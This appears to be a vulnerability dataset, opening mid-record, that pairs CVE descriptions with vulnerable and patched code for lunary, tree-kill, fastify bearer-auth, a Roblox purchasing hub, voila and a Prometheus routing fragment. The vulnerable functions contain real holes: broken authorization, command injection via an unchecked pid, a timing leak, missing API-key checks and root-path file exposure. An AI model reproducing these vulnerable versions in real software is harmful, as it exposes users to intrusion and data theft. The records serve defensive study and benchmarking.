readyf(h.serveConfig))\n\trouter.Get(\"/classic/rules\", readyf(h.rules))\n\trouter.Get(\"/classic/targets\", readyf(h.targets))\n\trouter.Get(\"/classic/service-discovery\", readyf(h.serviceDiscovery))\n\trouter.Get(\"/classic/static/*filepath\", func(w http.ResponseWriter, r *http.Request) {\n\t\tr.URL.Path = path.Join(\"/static\", route.Param(r.Context(), \"filepath\"))\n\t\tfs := server.StaticFileServer(ui.Assets)\n\t\tfs.ServeHTTP(w, r)\n\t})\n\t// Make sure that \"<path-prefix>/classic\" is redirected to \"<path-prefix>/classic/\" and\n\t// not just the naked \"/classic/\", which would be the default behavior of the router\n\t// with the \"RedirectTrailingSlash\" option (https://godoc.org/github.com/julienschmidt/httprouter#Router.RedirectTrailingSlash),\n\t// and which breaks users with a --web.route-prefix that deviates from the path derived\n\t// from the external URL.\n\t// See https://github.com/prometheus/prometheus/issues/6163#issuecomment-553855129.\n\trouter.Get(\"/classic\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, \"classic\")+\"/\", http.StatusFound)\n\t})\n\n\trouter.Get(\"/version\", h.version)\n\trouter.Get(\"/metrics\", promhttp.Handler().ServeHTTP)\n\n\trouter.Get(\"/federate\", readyf(httputil.CompressionHandler{\n\t\tHandler: http.HandlerFunc(h.federation),\n\t}.ServeHTTP))\n\n\trouter.Get(\"/consoles/*filepath\", readyf(h.consoles))\n\n\tserveReactApp := func(w http.ResponseWriter, r *http.Request) {\n\t\tf, err := ui.Assets.Open(\"/static/react/index.html\")\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintf(w, \"Error opening React index.html: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tidx, err := ioutil.ReadAll(f)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintf(w, \"Error reading React index.html: %v\", err)\n\t\t\treturn\n\t\t}\n\t\treplacedIdx := bytes.ReplaceAll(idx, []byte(\"CONSOLES_LINK_PLACEHOLDER\"), []byte(h.consolesPath()))\n\t\treplacedIdx = bytes.ReplaceAll(replacedIdx, []byte(\"TITLE_PLACEHOLDER\"), []byte(h.options.PageTitle))\n\t\tw.Write(replacedIdx)\n\t}\n\n\t// Serve the React app.\n\tfor _, p := range reactRouterPaths {\n\t\trouter.Get(p, serveReactApp)\n\t}\n\n\t// The favicon and manifest are bundled as part of the React app, but we want to serve\n\t// them on the root.\n\tfor _, p := range []string{\"/favicon.ico\", \"/manifest.json\"} {\n\t\tassetPath := \"/static/react\" + p\n\t\trouter.Get(p, func(w http.ResponseWriter, r *http.Request) {\n\t\t\tr.URL.Path = assetPath\n\t\t\tfs := server.StaticFileServer(ui.Assets)\n\t\t\tfs.ServeHTTP(w, r)\n\t\t})\n\t}\n\n\t// Static files required by the React app.\n\trouter.Get(\"/static/*filepath\", func(w http.ResponseWriter, r *http.Request) {\n\t\tr.URL.Path = path.Join(\"/static/react/static\", route.Param(r.Context(), \"filepath\"))\n\t\tfs := server.StaticFileServer(ui.Assets)\n\t\tfs.ServeHTTP(w, r)\n\t})\n\n\tif o.UserAssetsPath != \"\" {\n\t\trouter.Get(\"/user/*filepath\", route.FileServe(o.UserAssetsPath))\n\t}\n\n\tif o.EnableLifecycle {\n\t\trouter.Post(\"/-/quit\", h.quit)\n\t\trouter.Put(\"/-/quit\", h.quit)\n\t\trouter.Post(\"/-/reload\", h.reload)\n\t\trouter.Put(\"/-/reload\", h.reload)\n\t} else {\n\t\tforbiddenAPINotEnabled := func(w http.ResponseWriter, _ *http.Request) {\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\tw.Write([]byte(\"Lifecycle API is not enabled.\"))\n\t\t}\n\t\trouter.Post(\"/-/quit\", forbiddenAPINotEnabled)\n\t\trouter.Put(\"/-/quit\", forbiddenAPINotEnabled)\n\t\trouter.Post(\"/-/reload\", forbiddenAPINotEnabled)\n\t\trouter.Put(\"/-/reload\", forbiddenAPINotEnabled)\n\t}\n\trouter.Get(\"/-/quit\", func(w http.ResponseWriter, _ *http.Request) {\n\t\tw.WriteHeader(http.StatusMethodNotAllowed)\n\t\tw.Write([]byte(\"Only POST or PUT requests allowed\"))\n\t})\n\trouter.Get(\"/-/reload\", func(w http.ResponseWriter, _ *http.Request) {\n\t\tw.WriteHeader(http.StatusMethodNotAllowed)\n\t\tw.Write([]byte(\"Only POST or PUT requests allowed\"))\n\t})\n\n\trouter.Get(\"/debug/*subpath\", serveDebug)\n\trouter.Post(\"/debug/*subpath\", serveDebug)\n\n\trouter.Get(\"/-/healthy\", func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tfmt.Fprintf(w, \"Prometheus is Healthy.\\n\")\n\t})\n\trouter.Get(\"/-/ready\", readyf(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tfmt.Fprintf(w, \"Prometheus is Ready.\\n\")\n\t}))\n\n\treturn h\n}"}], "vul_patch": "--- a/web/web.go\n+++ b/web/web.go\n@@ -99,7 +99,7 @@\n \t// Redirect the original React UI's path (under \"/new\") to its new path at the root.\n \trouter.Get(\"/new/*path\", func(w http.ResponseWriter, r *http.Request) {\n \t\tp := route.Param(r.Context(), \"path\")\n-\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, strings.TrimPrefix(p, \"/new\"))+\"?\"+r.URL.RawQuery, http.StatusFound)\n+\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, p)+\"?\"+r.URL.RawQuery, http.StatusFound)\n \t})\n \n \trouter.Get(\"/classic/alerts\", readyf(h.alerts))\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-4146", "cve_description": "In lunary-ai/lunary version v1.2.13, an incorrect authorization vulnerability exists that allows unauthorized users to access and manipulate projects within an organization they should not have access to. Specifically, the vulnerability is located in the `checkProjectAccess` method within the authorization middleware, which fails to adequately verify if a user has the correct permissions to access a specific project. Instead, it only checks if the user is part of the organization owning the project, overlooking the necessary check against the `account_project` table for explicit project access rights. This flaw enables attackers to gain complete control over all resources within a project, including the ability to create, update, read, and delete any resource, compromising the privacy and security of sensitive information.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/lunary-ai/lunary", "patch_url": ["https://github.com/lunary-ai/lunary/commit/c43b6c62035f32ca455f66d5fd22ba661648cde7"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_119_1", "commit": "680bd1c190771d4fb96732725f7547cfaf3d662f", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 7, "end_line": 17, "snippet": "export async function checkProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from project \n        where org_id = (select org_id from account where id = ${userId}) \n          and id = ${projectId}\n      )\n    `\n  return hasAccess\n}"}], "fix_func": [{"id": "fix_js_119_1", "commit": "c43b6c62035f32ca455f66d5fd22ba661648cde7", "file_path": "packages/backend/src/utils/authorization.ts", "start_line": 6, "end_line": 15, "snippet": "export async function checkProjectAccess(projectId: string, userId: string) {\n  const [{ exists: hasAccess }] = await sql`\n      select exists (\n        select 1 \n        from account_project ap\n        where ap.project_id = ${projectId} and ap.account_id = ${userId}\n      )\n  `\n  return hasAccess\n}"}], "vul_patch": "--- a/packages/backend/src/utils/authorization.ts\n+++ b/packages/backend/src/utils/authorization.ts\n@@ -2,10 +2,9 @@\n   const [{ exists: hasAccess }] = await sql`\n       select exists (\n         select 1 \n-        from project \n-        where org_id = (select org_id from account where id = ${userId}) \n-          and id = ${projectId}\n+        from account_project ap\n+        where ap.project_id = ${projectId} and ap.account_id = ${userId}\n       )\n-    `\n+  `\n   return hasAccess\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-15598", "cve_description": "A Code Injection exists in treekill on Windows which allows a remote code execution when an attacker is able to control the input into the command.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pkrumins/node-tree-kill", "patch_url": ["https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_271_1", "commit": "3b5b8feeb3175a3e16ea7e0e09fdf5b8d2b87b08", "file_path": "index.js", "start_line": 7, "end_line": 42, "snippet": "module.exports = function (pid, signal, callback) {\n    var tree = {};\n    var pidsToProcess = {};\n    tree[pid] = [];\n    pidsToProcess[pid] = 1;\n    \n    if (typeof signal === 'function' && callback === undefined) {\n      callback = signal;\n      signal = undefined;\n    }\n\n    switch (process.platform) {\n    case 'win32':\n        exec('taskkill /pid ' + pid + ' /T /F', callback);\n        break;\n    case 'darwin':\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('pgrep', ['-P', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    // case 'sunos':\n    //     buildProcessTreeSunOS(pid, tree, pidsToProcess, function () {\n    //         killAll(tree, signal, callback);\n    //     });\n    //     break;\n    default: // Linux\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('ps', ['-o', 'pid', '--no-headers', '--ppid', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    }\n};"}], "fix_func": [{"id": "fix_js_271_1", "commit": "ff73dbf144c4c2daa67799a50dfff59cd455c63c", "file_path": "index.js", "start_line": 7, "end_line": 46, "snippet": "module.exports = function (pid, signal, callback) {\n    if (typeof pid !== \"number\") {\n        throw new Error(\"pid must be a number\");\n    }\n\n    var tree = {};\n    var pidsToProcess = {};\n    tree[pid] = [];\n    pidsToProcess[pid] = 1;\n    \n    if (typeof signal === 'function' && callback === undefined) {\n      callback = signal;\n      signal = undefined;\n    }\n\n    switch (process.platform) {\n    case 'win32':\n        exec('taskkill /pid ' + pid + ' /T /F', callback);\n        break;\n    case 'darwin':\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('pgrep', ['-P', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    // case 'sunos':\n    //     buildProcessTreeSunOS(pid, tree, pidsToProcess, function () {\n    //         killAll(tree, signal, callback);\n    //     });\n    //     break;\n    default: // Linux\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('ps', ['-o', 'pid', '--no-headers', '--ppid', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    }\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,4 +1,8 @@\n module.exports = function (pid, signal, callback) {\n+    if (typeof pid !== \"number\") {\n+        throw new Error(\"pid must be a number\");\n+    }\n+\n     var tree = {};\n     var pidsToProcess = {};\n     tree[pid] = [];\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31142", "cve_description": "@fastify/bearer-auth is a Fastify plugin to require bearer Authorization headers. @fastify/bearer-auth prior to versions 7.0.2 and 8.0.1 does not securely use crypto.timingSafeEqual. A malicious attacker could estimate the length of one valid bearer token. According to the corresponding RFC 6750, the bearer token has only base64 valid characters, reducing the range of characters for a brute force attack. Version 7.0.2 and 8.0.1 of @fastify/bearer-auth contain a patch. There are currently no known workarounds. The package fastify-bearer-auth, which covers versions 6.0.3 and prior, is also vulnerable starting at version 5.0.1. Users of fastify-bearer-auth should upgrade to a patched version of @fastify/bearer-auth.", "cwe_info": {"CWE-203": {"name": "Observable Discrepancy", "description": "The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not."}}, "repo": "https://github.com/fastify/fastify-bearer-auth", "patch_url": ["https://github.com/fastify/fastify-bearer-auth/commit/0c468a616d7e56126dc468150f6a5a92e530b8e4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_305_1", "commit": "cb61d1fea5193d2bd1d263f528d1d8a231f0cee4", "file_path": "plugin.js", "start_line": 91, "end_line": 103, "snippet": "function authenticate (keys, key) {\n  return keys.findIndex((a) => compare(a, key)) !== -1\n}\n\n// perform constant-time comparison to prevent timing attacks\nfunction compare (a, b) {\n  try {\n    // may throw if they have different length, can't convert to Buffer, etc...\n    return crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b))\n  } catch {\n    return false\n  }\n}"}], "fix_func": [{"id": "fix_js_305_1", "commit": "0c468a616d7e56126dc468150f6a5a92e530b8e4", "file_path": "plugin.js", "start_line": 98, "end_line": 112, "snippet": "function authenticate (keys, key) {\n  const b = Buffer.from(key)\n  return keys.findIndex((a) => compare(a, b)) !== -1\n}\n\n// perform constant-time comparison to prevent timing attacks\nfunction compare (a, b) {\n  if (a.length !== b.length) {\n    // Delay return with cryptographically secure timing check.\n    crypto.timingSafeEqual(a, a)\n    return false\n  }\n\n  return crypto.timingSafeEqual(a, b)\n}"}, {"id": "fix_js_305_2", "commit": "0c468a616d7e56126dc468150f6a5a92e530b8e4", "file_path": "plugin.js", "start_line": 16, "end_line": 96, "snippet": "function verifyBearerAuthFactory (options) {\n  const _options = Object.assign({}, defaultOptions, options)\n  if (_options.keys instanceof Set) _options.keys = Array.from(_options.keys)\n  const { keys, errorResponse, contentType, bearerType, auth, addHook = true, verifyErrorLogLevel = 'error' } = _options\n\n  for (let i = 0, il = keys.length; i < il; ++i) {\n    if (typeof keys[i] !== 'string') {\n      throw new Error('options.keys has to contain only string entries')\n    }\n    keys[i] = Buffer.from(keys[i])\n  }\n\n  return function verifyBearerAuth (request, reply, done) {\n    const header = request.raw.headers.authorization\n    if (!header) {\n      const noHeaderError = Error('missing authorization header')\n      if (verifyErrorLogLevel) request.log[verifyErrorLogLevel]('unauthorized: %s', noHeaderError.message)\n      if (contentType) reply.header('content-type', contentType)\n      reply.code(401)\n      if (!addHook) {\n        done(noHeaderError)\n        return\n      }\n      reply.send(errorResponse(noHeaderError))\n      return\n    }\n\n    const key = header.substring(bearerType.length).trim()\n    let retVal\n    // check if auth function is defined\n    if (auth && auth instanceof Function) {\n      try {\n        retVal = auth(key, request)\n        // catch any error from the user provided function\n      } catch (err) {\n        retVal = Promise.reject(err)\n      }\n    } else {\n      // if auth is not defined use keys\n      retVal = authenticate(keys, key)\n    }\n\n    const invalidKeyError = Error('invalid authorization header')\n\n    // retVal contains the result of the auth function if defined or the\n    // result of the key comparison.\n    // retVal is enclosed in a Promise.resolve to allow auth to be a normal\n    // function or an async funtion. If it returns a non-promise value it\n    // will be converted to a resolving promise. If it returns a promise it\n    // will be resolved.\n    Promise.resolve(retVal).then((val) => {\n      // if val is not truthy return 401\n      if (val === false) {\n        if (verifyErrorLogLevel) request.log[verifyErrorLogLevel]('unauthorized: %s', invalidKeyError.message)\n        if (contentType) reply.header('content-type', contentType)\n        reply.code(401)\n        if (!addHook) return done(invalidKeyError)\n        reply.send(errorResponse(invalidKeyError))\n        return\n      }\n      if (val === true) {\n        // if it fails down stream return the proper error\n        try {\n          done()\n        } catch (err) {\n          done(err)\n        }\n        return\n      }\n      const retErr = new Error('internal server error')\n      reply.code(500)\n      if (!addHook) return done(retErr)\n      reply.send(errorResponse(retErr))\n    }).catch((err) => {\n      const retErr = err instanceof Error ? err : Error(String(err))\n      reply.code(500)\n      if (!addHook) return done(retErr)\n      reply.send(errorResponse(retErr))\n    })\n  }\n}"}], "vul_patch": "--- a/plugin.js\n+++ b/plugin.js\n@@ -1,13 +1,15 @@\n function authenticate (keys, key) {\n-  return keys.findIndex((a) => compare(a, key)) !== -1\n+  const b = Buffer.from(key)\n+  return keys.findIndex((a) => compare(a, b)) !== -1\n }\n \n // perform constant-time comparison to prevent timing attacks\n function compare (a, b) {\n-  try {\n-    // may throw if they have different length, can't convert to Buffer, etc...\n-    return crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b))\n-  } catch {\n+  if (a.length !== b.length) {\n+    // Delay return with cryptographically secure timing check.\n+    crypto.timingSafeEqual(a, a)\n     return false\n   }\n+\n+  return crypto.timingSafeEqual(a, b)\n }\n\n--- /dev/null\n+++ b/plugin.js\n@@ -0,0 +1,81 @@\n+function verifyBearerAuthFactory (options) {\n+  const _options = Object.assign({}, defaultOptions, options)\n+  if (_options.keys instanceof Set) _options.keys = Array.from(_options.keys)\n+  const { keys, errorResponse, contentType, bearerType, auth, addHook = true, verifyErrorLogLevel = 'error' } = _options\n+\n+  for (let i = 0, il = keys.length; i < il; ++i) {\n+    if (typeof keys[i] !== 'string') {\n+      throw new Error('options.keys has to contain only string entries')\n+    }\n+    keys[i] = Buffer.from(keys[i])\n+  }\n+\n+  return function verifyBearerAuth (request, reply, done) {\n+    const header = request.raw.headers.authorization\n+    if (!header) {\n+      const noHeaderError = Error('missing authorization header')\n+      if (verifyErrorLogLevel) request.log[verifyErrorLogLevel]('unauthorized: %s', noHeaderError.message)\n+      if (contentType) reply.header('content-type', contentType)\n+      reply.code(401)\n+      if (!addHook) {\n+        done(noHeaderError)\n+        return\n+      }\n+      reply.send(errorResponse(noHeaderError))\n+      return\n+    }\n+\n+    const key = header.substring(bearerType.length).trim()\n+    let retVal\n+    // check if auth function is defined\n+    if (auth && auth instanceof Function) {\n+      try {\n+        retVal = auth(key, request)\n+        // catch any error from the user provided function\n+      } catch (err) {\n+        retVal = Promise.reject(err)\n+      }\n+    } else {\n+      // if auth is not defined use keys\n+      retVal = authenticate(keys, key)\n+    }\n+\n+    const invalidKeyError = Error('invalid authorization header')\n+\n+    // retVal contains the result of the auth function if defined or the\n+    // result of the key comparison.\n+    // retVal is enclosed in a Promise.resolve to allow auth to be a normal\n+    // function or an async funtion. If it returns a non-promise value it\n+    // will be converted to a resolving promise. If it returns a promise it\n+    // will be resolved.\n+    Promise.resolve(retVal).then((val) => {\n+      // if val is not truthy return 401\n+      if (val === false) {\n+        if (verifyErrorLogLevel) request.log[verifyErrorLogLevel]('unauthorized: %s', invalidKeyError.message)\n+        if (contentType) reply.header('content-type', contentType)\n+        reply.code(401)\n+        if (!addHook) return done(invalidKeyError)\n+        reply.send(errorResponse(invalidKeyError))\n+        return\n+      }\n+      if (val === true) {\n+        // if it fails down stream return the proper error\n+        try {\n+          done()\n+        } catch (err) {\n+          done(err)\n+        }\n+        return\n+      }\n+      const retErr = new Error('internal server error')\n+      reply.code(500)\n+      if (!addHook) return done(retErr)\n+      reply.send(errorResponse(retErr))\n+    }).catch((err) => {\n+      const retErr = err instanceof Error ? err : Error(String(err))\n+      reply.code(500)\n+      if (!addHook) return done(retErr)\n+      reply.send(errorResponse(retErr))\n+    })\n+  }\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-41191", "cve_description": "Roblox-Purchasing-Hub is an open source Roblox product purchasing hub. A security risk in versions 1.0.1 and prior allowed people who have someone's API URL to get product files without an API key. This issue is fixed in version 1.0.2. As a workaround, add `@require_apikey` in `BOT/lib/cogs/website.py` under the route for `/v1/products`.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/Redon-Tech/Roblox-Purchasing-Hub", "patch_url": ["https://github.com/Redon-Tech/Roblox-Purchasing-Hub/commit/58a22260eca40b1a0377daf61ccd8c4dc1440e03"], "programing_language": "Python", "vul_func": [{"id": "vul_py_87_1", "commit": "09e91fd", "file_path": "BOT/lib/cogs/website.py", "start_line": "61", "end_line": "67", "snippet": "@app.route(\"/v1/products\", methods=[\"GET\"])\nasync def products():\n    dbresponse = getproducts()\n    results = {}\n    for i in dbresponse:\n        results[i[\"name\"]] = i\n    return results"}], "fix_func": [{"id": "fix_py_87_1", "commit": "58a2226", "file_path": "BOT/lib/cogs/website.py", "start_line": "61", "end_line": "68", "snippet": "@app.route(\"/v1/products\", methods=[\"GET\"])\n@require_apikey\nasync def products():\n    dbresponse = getproducts()\n    results = {}\n    for i in dbresponse:\n        results[i[\"name\"]] = i\n    return results"}], "vul_patch": "--- a/BOT/lib/cogs/website.py\n+++ b/BOT/lib/cogs/website.py\n@@ -1,4 +1,5 @@\n @app.route(\"/v1/products\", methods=[\"GET\"])\n+@require_apikey\n async def products():\n     dbresponse = getproducts()\n     results = {}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-30265", "cve_description": "Collabora Online is a collaborative online office suite based on LibreOffice technology. Any deployment of voil\u00e0 dashboard allow local file inclusion. Any file on a filesystem that is readable by the user that runs the voil\u00e0 dashboard server can be downloaded by someone with network access to the server. Whether this still requires authentication depends on how voil\u00e0 is deployed. This issue has been patched in 0.2.17, 0.3.8, 0.4.4 and 0.5.6.\n", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/voila-dashboards/voila", "patch_url": ["https://github.com/voila-dashboards/voila/commit/5542e4ae36bb5d184deaa48f95e76be477756af2", "https://github.com/voila-dashboards/voila/commit/00d6362c237b6b4d466873535554d6076ead0c52", "https://github.com/voila-dashboards/voila/commit/c045be6988539d07cceeb9f82fc660a49485d504", "https://github.com/voila-dashboards/voila/commit/28faacc9b03b160fd8fa920ad045f4ec0667ab67", "https://github.com/voila-dashboards/voila/commit/98b6a40fec27723572314fdbba99bdc147d904c8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_279_1", "commit": "8419cc7", "file_path": "voila/app.py", "start_line": 574, "end_line": 678, "snippet": "    def init_settings(self) -> Dict:\n        \"\"\"Initialize settings for Voila application.\"\"\"\n        # default server_url to base_url\n        self.server_url = self.server_url or self.base_url\n\n        self.kernel_spec_manager = self.voila_configuration.kernel_spec_manager_class(\n            parent=self\n        )\n\n        # we create a config manager that load both the serverconfig and nbconfig (classical notebook)\n        read_config_path = [\n            os.path.join(p, \"serverconfig\") for p in jupyter_config_path()\n        ]\n        read_config_path += [os.path.join(p, \"nbconfig\") for p in jupyter_config_path()]\n        self.config_manager = ConfigManager(\n            parent=self, read_config_path=read_config_path\n        )\n        self.contents_manager = LargeFileManager(parent=self)\n        preheat_kernel: bool = self.voila_configuration.preheat_kernel\n        pool_size: int = self.voila_configuration.default_pool_size\n\n        if preheat_kernel and self.prelaunch_hook:\n            raise Exception(\"`preheat_kernel` and `prelaunch_hook` are incompatible\")\n\n        kernel_manager_class = voila_kernel_manager_factory(\n            self.voila_configuration.multi_kernel_manager_class,\n            preheat_kernel,\n            pool_size,\n        )\n        self.kernel_manager = kernel_manager_class(\n            parent=self,\n            connection_dir=self.connection_dir,\n            kernel_spec_manager=self.kernel_spec_manager,\n            allowed_message_types=[\n                \"comm_open\",\n                \"comm_close\",\n                \"comm_msg\",\n                \"comm_info_request\",\n                \"kernel_info_request\",\n                \"shutdown_request\",\n            ],\n        )\n\n        jenv_opt = {\n            \"autoescape\": True\n        }  # we might want extra options via cmd line like notebook server\n        env = jinja2.Environment(\n            loader=jinja2.FileSystemLoader(self.template_paths),\n            extensions=[\"jinja2.ext.i18n\"],\n            **jenv_opt,\n        )\n        server_env = jinja2.Environment(\n            loader=jinja2.FileSystemLoader(DEFAULT_TEMPLATE_PATH_LIST),\n            extensions=[\"jinja2.ext.i18n\"],\n            **jenv_opt,\n        )\n\n        nbui = gettext.translation(\n            \"nbui\", localedir=os.path.join(ROOT, \"i18n\"), fallback=True\n        )\n        env.install_gettext_translations(nbui, newstyle=False)\n        server_env.install_gettext_translations(nbui, newstyle=False)\n\n        identity_provider_kwargs = {\n            \"parent\": self,\n            \"log\": self.log,\n            \"login_handler_class\": VoilaLoginHandler,\n        }\n        if self.token is None and not self.auto_token:\n            identity_provider_kwargs[\"token\"] = \"\"\n        elif self.token is not None:\n            identity_provider_kwargs[\"token\"] = self.token\n\n        self.identity_provider = self.identity_provider_class(\n            **identity_provider_kwargs\n        )\n\n        self.authorizer = self.authorizer_class(\n            parent=self, log=self.log, identity_provider=self.identity_provider\n        )\n\n        settings = dict(\n            base_url=self.base_url,\n            server_url=self.server_url or self.base_url,\n            kernel_manager=self.kernel_manager,\n            kernel_spec_manager=self.kernel_spec_manager,\n            allow_remote_access=True,\n            autoreload=self.autoreload,\n            voila_jinja2_env=env,\n            jinja2_env=server_env,\n            static_path=\"/\",\n            server_root_dir=\"/\",\n            contents_manager=self.contents_manager,\n            config_manager=self.config_manager,\n            cookie_secret=self.cookie_secret,\n            authorizer=self.authorizer,\n            identity_provider=self.identity_provider,\n            kernel_websocket_connection_class=self.kernel_websocket_connection_class,\n            login_url=url_path_join(self.base_url, \"/login\"),\n            mathjax_config=self.mathjax_config,\n            mathjax_url=self.mathjax_url,\n        )\n        settings[self.name] = self  # Why???\n\n        return settings"}], "fix_func": [{"id": "fix_py_279_1", "commit": "5542e4ae36bb5d184deaa48f95e76be477756af2", "file_path": "voila/app.py", "start_line": 574, "end_line": 677, "snippet": "    def init_settings(self) -> Dict:\n        \"\"\"Initialize settings for Voila application.\"\"\"\n        # default server_url to base_url\n        self.server_url = self.server_url or self.base_url\n\n        self.kernel_spec_manager = self.voila_configuration.kernel_spec_manager_class(\n            parent=self\n        )\n\n        # we create a config manager that load both the serverconfig and nbconfig (classical notebook)\n        read_config_path = [\n            os.path.join(p, \"serverconfig\") for p in jupyter_config_path()\n        ]\n        read_config_path += [os.path.join(p, \"nbconfig\") for p in jupyter_config_path()]\n        self.config_manager = ConfigManager(\n            parent=self, read_config_path=read_config_path\n        )\n        self.contents_manager = LargeFileManager(parent=self)\n        preheat_kernel: bool = self.voila_configuration.preheat_kernel\n        pool_size: int = self.voila_configuration.default_pool_size\n\n        if preheat_kernel and self.prelaunch_hook:\n            raise Exception(\"`preheat_kernel` and `prelaunch_hook` are incompatible\")\n\n        kernel_manager_class = voila_kernel_manager_factory(\n            self.voila_configuration.multi_kernel_manager_class,\n            preheat_kernel,\n            pool_size,\n        )\n        self.kernel_manager = kernel_manager_class(\n            parent=self,\n            connection_dir=self.connection_dir,\n            kernel_spec_manager=self.kernel_spec_manager,\n            allowed_message_types=[\n                \"comm_open\",\n                \"comm_close\",\n                \"comm_msg\",\n                \"comm_info_request\",\n                \"kernel_info_request\",\n                \"shutdown_request\",\n            ],\n        )\n\n        jenv_opt = {\n            \"autoescape\": True\n        }  # we might want extra options via cmd line like notebook server\n        env = jinja2.Environment(\n            loader=jinja2.FileSystemLoader(self.template_paths),\n            extensions=[\"jinja2.ext.i18n\"],\n            **jenv_opt,\n        )\n        server_env = jinja2.Environment(\n            loader=jinja2.FileSystemLoader(DEFAULT_TEMPLATE_PATH_LIST),\n            extensions=[\"jinja2.ext.i18n\"],\n            **jenv_opt,\n        )\n\n        nbui = gettext.translation(\n            \"nbui\", localedir=os.path.join(ROOT, \"i18n\"), fallback=True\n        )\n        env.install_gettext_translations(nbui, newstyle=False)\n        server_env.install_gettext_translations(nbui, newstyle=False)\n\n        identity_provider_kwargs = {\n            \"parent\": self,\n            \"log\": self.log,\n            \"login_handler_class\": VoilaLoginHandler,\n        }\n        if self.token is None and not self.auto_token:\n            identity_provider_kwargs[\"token\"] = \"\"\n        elif self.token is not None:\n            identity_provider_kwargs[\"token\"] = self.token\n\n        self.identity_provider = self.identity_provider_class(\n            **identity_provider_kwargs\n        )\n\n        self.authorizer = self.authorizer_class(\n            parent=self, log=self.log, identity_provider=self.identity_provider\n        )\n\n        settings = dict(\n            base_url=self.base_url,\n            server_url=self.server_url or self.base_url,\n            kernel_manager=self.kernel_manager,\n            kernel_spec_manager=self.kernel_spec_manager,\n            allow_remote_access=True,\n            autoreload=self.autoreload,\n            voila_jinja2_env=env,\n            jinja2_env=server_env,\n            server_root_dir=\"/\",\n            contents_manager=self.contents_manager,\n            config_manager=self.config_manager,\n            cookie_secret=self.cookie_secret,\n            authorizer=self.authorizer,\n            identity_provider=self.identity_provider,\n            kernel_websocket_connection_class=self.kernel_websocket_connection_class,\n            login_url=url_path_join(self.base_url, \"/login\"),\n            mathjax_config=self.mathjax_config,\n            mathjax_url=self.mathjax_url,\n        )\n        settings[self.name] = self  # Why???\n\n        return settings"}], "vul_patch": "--- a/voila/app.py\n+++ b/voila/app.py\n@@ -88,7 +88,6 @@\n             autoreload=self.autoreload,\n             voila_jinja2_env=env,\n             jinja2_env=server_env,\n-            static_path=\"/\",\n             server_root_dir=\"/\",\n             contents_manager=self.contents_manager,\n             config_manager=self.config_manager,\n\n", "poc_patch": null, "unit_test_cmd": null}
